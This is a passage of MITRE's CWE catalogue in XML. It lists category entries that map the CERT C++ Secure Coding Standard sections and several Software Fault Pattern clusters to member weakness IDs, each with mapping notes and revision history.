         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="870" Name="CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Declarations and Initialization (DCL) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <References>
            <Reference External_Reference_ID="REF-849"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="871" Name="CERT C++ Secure Coding Section 03 - Expressions (EXP)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Expressions (EXP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <Relationships>
            <Has_Member CWE_ID="476" View_ID="868"/>
            <Has_Member CWE_ID="480" View_ID="868"/>
            <Has_Member CWE_ID="768" View_ID="868"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-850"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="872" Name="CERT C++ Secure Coding Section 04 - Integers (INT)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Integers (INT) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <Relationships>
            <Has_Member CWE_ID="129" View_ID="868"/>
            <Has_Member CWE_ID="190" View_ID="868"/>
            <Has_Member CWE_ID="192" View_ID="868"/>
            <Has_Member CWE_ID="197" View_ID="868"/>
            <Has_Member CWE_ID="20" View_ID="868"/>
            <Has_Member CWE_ID="369" View_ID="868"/>
            <Has_Member CWE_ID="466" View_ID="868"/>
            <Has_Member CWE_ID="587" View_ID="868"/>
            <Has_Member CWE_ID="606" View_ID="868"/>
            <Has_Member CWE_ID="676" View_ID="868"/>
            <Has_Member CWE_ID="681" View_ID="868"/>
            <Has_Member CWE_ID="682" View_ID="868"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-851"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="873" Name="CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Floating Point Arithmetic (FLP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <Relationships>
            <Has_Member CWE_ID="369" View_ID="868"/>
            <Has_Member CWE_ID="681" View_ID="868"/>
            <Has_Member CWE_ID="682" View_ID="868"/>
            <Has_Member CWE_ID="686" View_ID="868"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-852"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="874" Name="CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Arrays and the STL (ARR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <Relationships>
            <Has_Member CWE_ID="119" View_ID="868"/>
            <Has_Member CWE_ID="129" View_ID="868"/>
            <Has_Member CWE_ID="467" View_ID="868"/>
            <Has_Member CWE_ID="469" View_ID="868"/>
            <Has_Member CWE_ID="665" View_ID="868"/>
            <Has_Member CWE_ID="805" View_ID="868"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-853"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="875" Name="CERT C++ Secure Coding Section 07 - Characters and Strings (STR)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Characters and Strings (STR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <Relationships>
            <Has_Member CWE_ID="119" View_ID="868"/>
            <Has_Member CWE_ID="120" View_ID="868"/>
            <Has_Member CWE_ID="170" View_ID="868"/>
            <Has_Member CWE_ID="193" View_ID="868"/>
            <Has_Member CWE_ID="464" View_ID="868"/>
            <Has_Member CWE_ID="686" View_ID="868"/>
            <Has_Member CWE_ID="704" View_ID="868"/>
            <Has_Member CWE_ID="78" View_ID="868"/>
            <Has_Member CWE_ID="88" View_ID="868"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-854"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="876" Name="CERT C++ Secure Coding Section 08 - Memory Management (MEM)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Memory Management (MEM) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <Relationships>
            <Has_Member CWE_ID="119" View_ID="868"/>
            <Has_Member CWE_ID="128" View_ID="868"/>
            <Has_Member CWE_ID="131" View_ID="868"/>
            <Has_Member CWE_ID="190" View_ID="868"/>
            <Has_Member CWE_ID="20" View_ID="868"/>
            <Has_Member CWE_ID="226" View_ID="868"/>
            <Has_Member CWE_ID="244" View_ID="868"/>
            <Has_Member CWE_ID="252" View_ID="868"/>
            <Has_Member CWE_ID="391" View_ID="868"/>
            <Has_Member CWE_ID="404" View_ID="868"/>
            <Has_Member CWE_ID="415" View_ID="868"/>
            <Has_Member CWE_ID="416" View_ID="868"/>
            <Has_Member CWE_ID="476" View_ID="868"/>
            <Has_Member CWE_ID="528" View_ID="868"/>
            <Has_Member CWE_ID="590" View_ID="868"/>
            <Has_Member CWE_ID="591" View_ID="868"/>
            <Has_Member CWE_ID="665" View_ID="868"/>
            <Has_Member CWE_ID="687" View_ID="868"/>
            <Has_Member CWE_ID="690" View_ID="868"/>
            <Has_Member CWE_ID="703" View_ID="868"/>
            <Has_Member CWE_ID="754" View_ID="868"/>
            <Has_Member CWE_ID="762" View_ID="868"/>
            <Has_Member CWE_ID="770" View_ID="868"/>
            <Has_Member CWE_ID="822" View_ID="868"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-855"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="877" Name="CERT C++ Secure Coding Section 09 - Input Output (FIO)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Input Output (FIO) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <Relationships>
            <Has_Member CWE_ID="119" View_ID="868"/>
            <Has_Member CWE_ID="134" View_ID="868"/>
            <Has_Member CWE_ID="22" View_ID="868"/>
            <Has_Member CWE_ID="241" View_ID="868"/>
            <Has_Member CWE_ID="276" View_ID="868"/>
            <Has_Member CWE_ID="279" View_ID="868"/>
            <Has_Member CWE_ID="362" View_ID="868"/>
            <Has_Member CWE_ID="367" View_ID="868"/>
            <Has_Member CWE_ID="37" View_ID="868"/>
            <Has_Member CWE_ID="379" View_ID="868"/>
            <Has_Member CWE_ID="38" View_ID="868"/>
            <Has_Member CWE_ID="39" View_ID="868"/>
            <Has_Member CWE_ID="391" View_ID="868"/>
            <Has_Member CWE_ID="403" View_ID="868"/>
            <Has_Member CWE_ID="404" View_ID="868"/>
            <Has_Member CWE_ID="41" View_ID="868"/>
            <Has_Member CWE_ID="552" View_ID="868"/>
            <Has_Member CWE_ID="59" View_ID="868"/>
            <Has_Member CWE_ID="62" View_ID="868"/>
            <Has_Member CWE_ID="64" View_ID="868"/>
            <Has_Member CWE_ID="65" View_ID="868"/>
            <Has_Member CWE_ID="67" View_ID="868"/>
            <Has_Member CWE_ID="675" View_ID="868"/>
            <Has_Member CWE_ID="676" View_ID="868"/>
            <Has_Member CWE_ID="73" View_ID="868"/>
            <Has_Member CWE_ID="732" View_ID="868"/>
            <Has_Member CWE_ID="770" View_ID="868"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-856"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="878" Name="CERT C++ Secure Coding Section 10 - Environment (ENV)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Environment (ENV) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <Relationships>
            <Has_Member CWE_ID="119" View_ID="868"/>
            <Has_Member CWE_ID="426" View_ID="868"/>
            <Has_Member CWE_ID="462" View_ID="868"/>
            <Has_Member CWE_ID="705" View_ID="868"/>
            <Has_Member CWE_ID="78" View_ID="868"/>
            <Has_Member CWE_ID="807" View_ID="868"/>
            <Has_Member CWE_ID="88" View_ID="868"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-857"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="879" Name="CERT C++ Secure Coding Section 11 - Signals (SIG)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Signals (SIG) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <Relationships>
            <Has_Member CWE_ID="479" View_ID="868"/>
            <Has_Member CWE_ID="662" View_ID="868"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-858"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="880" Name="CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Exceptions and Error Handling (ERR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <Relationships>
            <Has_Member CWE_ID="209" View_ID="868"/>
            <Has_Member CWE_ID="390" View_ID="868"/>
            <Has_Member CWE_ID="391" View_ID="868"/>
            <Has_Member CWE_ID="460" View_ID="868"/>
            <Has_Member CWE_ID="497" View_ID="868"/>
            <Has_Member CWE_ID="544" View_ID="868"/>
            <Has_Member CWE_ID="703" View_ID="868"/>
            <Has_Member CWE_ID="705" View_ID="868"/>
            <Has_Member CWE_ID="754" View_ID="868"/>
            <Has_Member CWE_ID="755" View_ID="868"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-861"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="881" Name="CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Object Oriented Programming (OOP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <References>
            <Reference External_Reference_ID="REF-862"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="882" Name="CERT C++ Secure Coding Section 14 - Concurrency (CON)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Concurrency (CON) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <Relationships>
            <Has_Member CWE_ID="362" View_ID="868"/>
            <Has_Member CWE_ID="366" View_ID="868"/>
            <Has_Member CWE_ID="404" View_ID="868"/>
            <Has_Member CWE_ID="488" View_ID="868"/>
            <Has_Member CWE_ID="772" View_ID="868"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-863"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="883" Name="CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Miscellaneous (MSC) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <Relationships>
            <Has_Member CWE_ID="116" View_ID="868"/>
            <Has_Member CWE_ID="14" View_ID="868"/>
            <Has_Member CWE_ID="176" View_ID="868"/>
            <Has_Member CWE_ID="20" View_ID="868"/>
            <Has_Member CWE_ID="327" View_ID="868"/>
            <Has_Member CWE_ID="330" View_ID="868"/>
            <Has_Member CWE_ID="480" View_ID="868"/>
            <Has_Member CWE_ID="482" View_ID="868"/>
            <Has_Member CWE_ID="561" View_ID="868"/>
            <Has_Member CWE_ID="563" View_ID="868"/>
            <Has_Member CWE_ID="570" View_ID="868"/>
            <Has_Member CWE_ID="571" View_ID="868"/>
            <Has_Member CWE_ID="697" View_ID="868"/>
            <Has_Member CWE_ID="704" View_ID="868"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-864"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-08-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="885" Name="SFP Primary Cluster: Risky Values" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Risky Values cluster (SFP1).</Summary>
         <Relationships>
            <Has_Member CWE_ID="998" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Risky Values</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="886" Name="SFP Primary Cluster: Unused entities" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Unused entities cluster (SFP2).</Summary>
         <Relationships>
            <Has_Member CWE_ID="482" View_ID="888"/>
            <Has_Member CWE_ID="561" View_ID="888"/>
            <Has_Member CWE_ID="563" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Unused entities</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="887" Name="SFP Primary Cluster: API" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the API cluster (SFP3).</Summary>
         <Relationships>
            <Has_Member CWE_ID="1001" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
